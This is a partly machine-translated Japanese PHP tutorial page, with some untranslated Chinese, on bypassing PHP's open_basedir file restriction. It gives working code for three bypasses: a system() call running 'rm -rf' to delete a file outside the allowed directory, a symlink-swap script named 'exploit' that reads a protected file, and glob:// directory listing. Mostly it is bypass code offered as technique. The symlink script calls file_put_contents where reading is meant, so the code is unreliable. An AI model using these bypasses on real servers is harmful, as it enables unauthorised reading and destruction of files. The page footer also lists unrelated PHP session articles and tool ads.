検索
ホームページバックエンド開発PHPチュートリアルPHP 経由でファイルを操作する際の open_basedir 制限をバイパスする方法

この記事では、PHP がファイル操作の open_basedir 制限を回避するための 3 つの方法と関連テクニックを紹介します。興味のある方はぜひ参考にしてください。

0x00 予備知識

open_basedir について

open_basedir は php.ini の設定オプションです

制限される可能性がありますファイルへのユーザーのアクセス範囲を指定された領域にします。

open_basedir=/home/wwwroot/home/web1/:/tmp/ とすると、web1 経由でサーバーにアクセスするユーザーは情報を取得できません。 2 つのディレクトリ home/wwwroot/home/web1/ および /tmp/ の外側にある / ファイルを除くサーバー上にあります。

open_basedir で指定される制限は、実際にはディレクトリ名ではなくプレフィックスであることに注意してください。

例: 「open_basedir = /dir/user」の場合、ディレクトリ「/dir/user」および「/dir/user1」にアクセスできます。したがって、指定したディレクトリのみへのアクセスを制限したい場合は、パス名の末尾にスラッシュを付けます。

シンボリック リンクについて

シンボリック リンクはソフト リンクとも呼ばれます。このファイルには別のファイルのパス名 (絶対パスまたは相対パス)。

パスには任意のファイルまたはディレクトリを指定でき、異なるファイル システムのファイルをリンクできます。シンボル ファイルの読み取りまたは書き込み時には、システムはその操作をソース ファイルに対する操作に自動的に変換します。ただし、リンク ファイルを削除する場合、システムはリンク ファイルのみを削除し、ソース ファイル自体は削除しません。

0x01 コマンド実行機能

システムなどのコマンド実行機能ではopen_basedirの設定が無効なため、コマンド実行機能を利用してアクセス制限を行うことができます。ディレクトリ 。

最初にディレクトリ

/home/puret/test/

を作成し、そのディレクトリ内に abc という内容の新しい 1.txt を作成します。

nano 1.txt

このディレクトリにディレクトリを作成し、b

mkdir b

という名前を付けます。そして、このディレクトリに

<?php
  echo file_get_contents("../1.txt");
?>

という内容の 1.php ファイルを作成し、php.ini で open_basedir

を設定します ##open_basedir = /home/puret/test/b/

open_basedir がアクセスを制限するかどうかを確認するために 1.php を実行してみます


実行結果は次のようになります。図

#明らかに、open_basedir で指定されたもの以外のディレクトリ ファイルを直接読み取ることはできません。


次に、システム関数を使用して、open_basedir の制限をバイパスして 1.txt を削除します。


1.php を

## に編集します。 #
<?php
 system("rm -rf ../1.txt");
?>

まずは1.php実行前のファイルの状況を見てみましょう

#1.php実行後

コマンド実行機能により、open_basedir をバイパスしてファイルを削除することに成功しました。

コマンド実行機能は通常 disable_function に制限されているため、制限を回避する他の方法を見つける必要があります。


0x02 symlink() 関数

まずシンボリックリンク関数を理解しましょう

bool symlink ( string $target , string $link )

シンボリックリンク関数は、ターゲットを指す link という名前のシンボリック リンクを確立します。もちろん、通常の状況では、このターゲットは open_basedir に限定されます。
初期のシンボリックリンクは Windows をサポートしていなかったので、私のテスト環境は Linux の下に置かれました。



テストした PHP のバージョンは 5.3.0 です。他のバージョンは自分でテストしてください。


Linux 環境では、シンボリックリンクを介していくつかの論理バイパスを完了でき、これによりディレクトリ間でファイルを操作できるようになります。


まず、/var/www/html/1.php の 1.php の内容を

<?php
  mkdir("c");
  chdir("c");
  mkdir("d");
  chdir("d");
  chdir("..");
  chdir("..");
  symlink("c/d","tmplink");
  symlink("tmplink/../../1.txt","exploit");
  unlink("tmplink");
  mkdir("tmplink");
  echo file_put_contents("http://127.0.0.1/exploit");
?>

として編集します。次に、 /var/www/ に

#"abc"

という内容の新しい 1.txt ファイルを作成し、open_basedir

# を設定します。 # #open_basedir = /var/www/html/

html ディレクトリ内の php スクリプトを編集して、open_basedir の実行を確認します

<?php
   file_get_contents("../1.txt");
?>

見てください。

#予想どおり、ファイルにアクセスできません。

先ほど書いたスクリプト 1.php


ファイル 1.txt の内容が正常に実行されたことがわかります。 open_basedir の制限

問題の鍵は


symlink("tmplink/../../1.txt",")エクスプロイト");

現時点では、tmplink はまだシンボリック リンク ファイルであり、それが指すパスは c/d であるため、エクスプロイトが指すパスは

になります。
c/d/../ ../1.txt

このパスは open_basedir の範囲内にあるため、エクスプロイトは正常に作成されました。

その後、tmplink シンボリック リンク ファイルを削除し、tmplink と同じ名前の新しいフォルダーを作成します。このとき、エクスプロイトが指すパスは

です。

tmplink/../../

由于这时候tmplink变成了一个真实存在的文件夹所以tmplink/../../变成了1.txt所在的目录即/var/www/

然后再通过访问符号链接文件exploit即可直接读取到1.txt的文件内容

当然,针对symlink()只需要将它放入disable_function即可解决问题,所以我们需要寻求更多的方法。

0x03 glob伪协议

glob是php自5.3.0版本起开始生效的一个用来筛选目录的伪协议,由于它在筛选目录时是不受open_basedir的制约的,所以我们可以利用它来绕过限制,我们新建一个目录在/var/www/下命名为test

并且在/var/www/html/下新建t.php内容为

<?php
  $a = "glob:///var/www/test/*.txt";
  if ( $b = opendir($a) ) {
    while ( ($file = readdir($b)) !== false ) {
      echo "filename:".$file."\n";
    }
    closedir($b);
  }
?>

执行结果如图:

成功躲过open_basedir的限制读取到了文件。

以上就是本文的全部内容,希望对大家的学习有所帮助,更多相关内容请关注PHP中文网!

相关推荐:

关于ThinkPHP中Common/common.php文件常用函数的功能分析

PHP 中TP5 Request的请求对象

PHP的Cannot use object of type stdClass as array in错误的解决办法

以上がPHP 経由でファイルを操作する際の open_basedir 制限をバイパスする方法の詳細内容です。詳細については、PHP 中国語 Web サイトの他の関連記事を参照してください。

声明
この記事の内容はネチズンが自主的に寄稿したものであり、著作権は原著者に帰属します。このサイトは、それに相当する法的責任を負いません。盗作または侵害の疑いのあるコンテンツを見つけた場合は、admin@php.cn までご連絡ください。
セッションを保存するためにデータベースを使用することの利点は何ですか?セッションを保存するためにデータベースを使用することの利点は何ですか?Apr 24, 2025 am 12:16 AM

データベースストレージセッションを使用することの主な利点には、持続性、スケーラビリティ、セキュリティが含まれます。 1。永続性:サーバーが再起動しても、セッションデータは変更されないままになります。 2。スケーラビリティ:分散システムに適用され、セッションデータが複数のサーバー間で同期されるようにします。 3。セキュリティ:データベースは、機密情報を保護するための暗号化されたストレージを提供します。

PHPでカスタムセッション処理をどのように実装しますか?PHPでカスタムセッション処理をどのように実装しますか?Apr 24, 2025 am 12:16 AM

PHPでのカスタムセッション処理の実装は、SessionHandlerInterfaceインターフェイスを実装することで実行できます。具体的な手順には、次のものが含まれます。1)CussentsessionHandlerなどのSessionHandlerInterfaceを実装するクラスの作成。 2)セッションデータのライフサイクルとストレージ方法を定義するためのインターフェイス(オープン、クローズ、読み取り、書き込み、破壊、GCなど)の書き換え方法。 3)PHPスクリプトでカスタムセッションプロセッサを登録し、セッションを開始します。これにより、データをMySQLやRedisなどのメディアに保存して、パフォーマンス、セキュリティ、スケーラビリティを改善できます。

セッションIDとは何ですか?セッションIDとは何ですか?Apr 24, 2025 am 12:13 AM

SessionIDは、ユーザーセッションのステータスを追跡するためにWebアプリケーションで使用されるメカニズムです。 1.ユーザーとサーバー間の複数のインタラクション中にユーザーのID情報を維持するために使用されるランダムに生成された文字列です。 2。サーバーは、ユーザーの複数のリクエストでこれらの要求を識別および関連付けるのに役立つCookieまたはURLパラメーターを介してクライアントに生成および送信します。 3.生成は通常、ランダムアルゴリズムを使用して、一意性と予測不可能性を確保します。 4.実際の開発では、Redisなどのメモリ内データベースを使用してセッションデータを保存してパフォーマンスとセキュリティを改善できます。

ステートレス環境(APIなど)でセッションをどのように処理しますか?ステートレス環境(APIなど)でセッションをどのように処理しますか?Apr 24, 2025 am 12:12 AM

APIなどのステートレス環境でのセッションの管理は、JWTまたはCookieを使用して達成できます。 1。JWTは、無国籍とスケーラビリティに適していますが、ビッグデータに関してはサイズが大きいです。 2.cookiesはより伝統的で実装が簡単ですが、セキュリティを確保するために慎重に構成する必要があります。

セッションに関連するクロスサイトスクリプティング(XSS)攻撃からどのように保護できますか?セッションに関連するクロスサイトスクリプティング(XSS)攻撃からどのように保護できますか?Apr 23, 2025 am 12:16 AM

セッション関連のXSS攻撃からアプリケーションを保護するには、次の測定が必要です。1。セッションCookieを保護するためにHTTPonlyとセキュアフラグを設定します。 2。すべてのユーザー入力のエクスポートコード。 3.コンテンツセキュリティポリシー(CSP)を実装して、スクリプトソースを制限します。これらのポリシーを通じて、セッション関連のXSS攻撃を効果的に保護し、ユーザーデータを確保できます。

PHPセッションのパフォーマンスを最適化するにはどうすればよいですか?PHPセッションのパフォーマンスを最適化するにはどうすればよいですか?Apr 23, 2025 am 12:13 AM

PHPセッションのパフォーマンスを最適化する方法は次のとおりです。1。遅延セッション開始、2。データベースを使用してセッションを保存します。これらの戦略は、高い並行性環境でのアプリケーションの効率を大幅に改善できます。

session.gc_maxlifetime構成設定とは何ですか?session.gc_maxlifetime構成設定とは何ですか?Apr 23, 2025 am 12:10 AM

thesession.gc_maxlifettinginttinginphpdethinesthelifsessessiondata、setinseconds.1)it'sconfiguredinphp.iniorviaini_set()。 2)AbalanceSneededToAvoidPerformanceIssues andunexpectedLogouts.3)php'sgarbagecollectionisisprobabilistic、影響を受けたBygc_probabi

PHPでセッション名をどのように構成しますか?PHPでセッション名をどのように構成しますか?Apr 23, 2025 am 12:08 AM

PHPでは、session_name()関数を使用してセッション名を構成できます。特定の手順は次のとおりです。1。session_name()関数を使用して、session_name( "my_session")などのセッション名を設定します。 2。セッション名を設定した後、session_start()を呼び出してセッションを開始します。セッション名の構成は、複数のアプリケーション間のセッションデータの競合を回避し、セキュリティを強化することができますが、セッション名の一意性、セキュリティ、長さ、設定タイミングに注意してください。

See all articles

ホットAIツール

Undresser.AI Undress

Undresser.AI Undress

リアルなヌード写真を作成する AI 搭載アプリ

AI Clothes Remover

AI Clothes Remover

写真から衣服を削除するオンライン AI ツール。

Undress AI Tool

Undress AI Tool

脱衣画像を無料で

Clothoff.io

Clothoff.io

AI衣類リムーバー

Video Face Swap

Video Face Swap

完全無料の AI 顔交換ツールを使用して、あらゆるビデオの顔を簡単に交換できます。

ホットツール

VSCode Windows 64 ビットのダウンロード

VSCode Windows 64 ビットのダウンロード

Microsoft によって発売された無料で強力な IDE エディター

ZendStudio 13.5.1 Mac

ZendStudio 13.5.1 Mac

強力な PHP 統合開発環境

MantisBT

MantisBT

Mantis は、製品の欠陥追跡を支援するために設計された、導入が簡単な Web ベースの欠陥追跡ツールです。 PHP、MySQL、Web サーバーが必要です。デモおよびホスティング サービスをチェックしてください。

メモ帳++7.3.1

メモ帳++7.3.1

使いやすく無料のコードエディター

mPDF

mPDF

mPDF は、UTF-8 でエンコードされた HTML から PDF ファイルを生成できる PHP ライブラリです。オリジナルの作者である Ian Back は、Web サイトから「オンザフライ」で PDF ファイルを出力し、さまざまな言語を処理するために mPDF を作成しました。 HTML2FPDF などのオリジナルのスクリプトよりも遅く、Unicode フォントを使用すると生成されるファイルが大きくなりますが、CSS スタイルなどをサポートし、多くの機能強化が施されています。 RTL (アラビア語とヘブライ語) や CJK (中国語、日本語、韓国語) を含むほぼすべての言語をサポートします。ネストされたブロックレベル要素 (P、DIV など) をサポートします。